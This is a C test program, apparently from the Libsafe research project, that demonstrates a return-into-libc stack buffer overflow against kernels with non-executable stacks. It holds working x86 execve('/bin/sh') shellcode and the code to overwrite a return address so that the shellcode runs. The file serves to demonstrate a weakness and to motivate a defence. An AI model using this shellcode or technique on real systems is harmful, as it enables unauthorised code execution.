/*
 * $Name: release2_0-16 $
 * $Id: exploit-non-exec-stack.c,v 1.6 2002/06/12 20:30:37 ttsai Exp $
 */


/*     This sample program demonstrates that even the kernels with
 *     non-executable stacks are vulnerable to buffer overflow attacks.  This
 *     is a derived code from comments by Rafal Wojtczuk (see reference number
 *     25) and Linus Torvalds (see reference numbers 23) in the Libsafe white
 *     paper.
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define STRCPY &strcpy
#define SIZE 512
#define readRegister(var,reg) __asm__ __volatile__("movl %%" #reg ", %0": "=r" (var))

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char pattern[SIZE];
char buf[SIZE];

int main(int ac, char *av[])
{
    char a[10];
    int fp, offset;

    /*
     * read the contents of the frame pointer into variable 'fp'.
     */
    readRegister(fp, ebp);
    offset = fp - (int) a + 4;

    memset(pattern, '\xff', SIZE);
    *(int *) (pattern + offset) = (int) STRCPY;
    *(int *) (pattern + offset + 4) = (int) &buf;
    *(int *) (pattern + offset + 8) = (int) &buf;
    *(int *) (pattern + offset + 12) = (int) &shellcode;
    pattern[offset + 16] = '\0';

    printf("This program demonstrates how a (stack) buffer overflow\n");
    printf("can attack linux kernels with *non-executable* stacks.\n");
    printf("This is variation on return-int-libc attack.\n");
    printf("If you get a /bin/sh prompt, then the exploit has worked.\n");
    printf("Press any key to continue...");
    getchar();

    memcpy(a, pattern, offset+16);

    return 0;
}
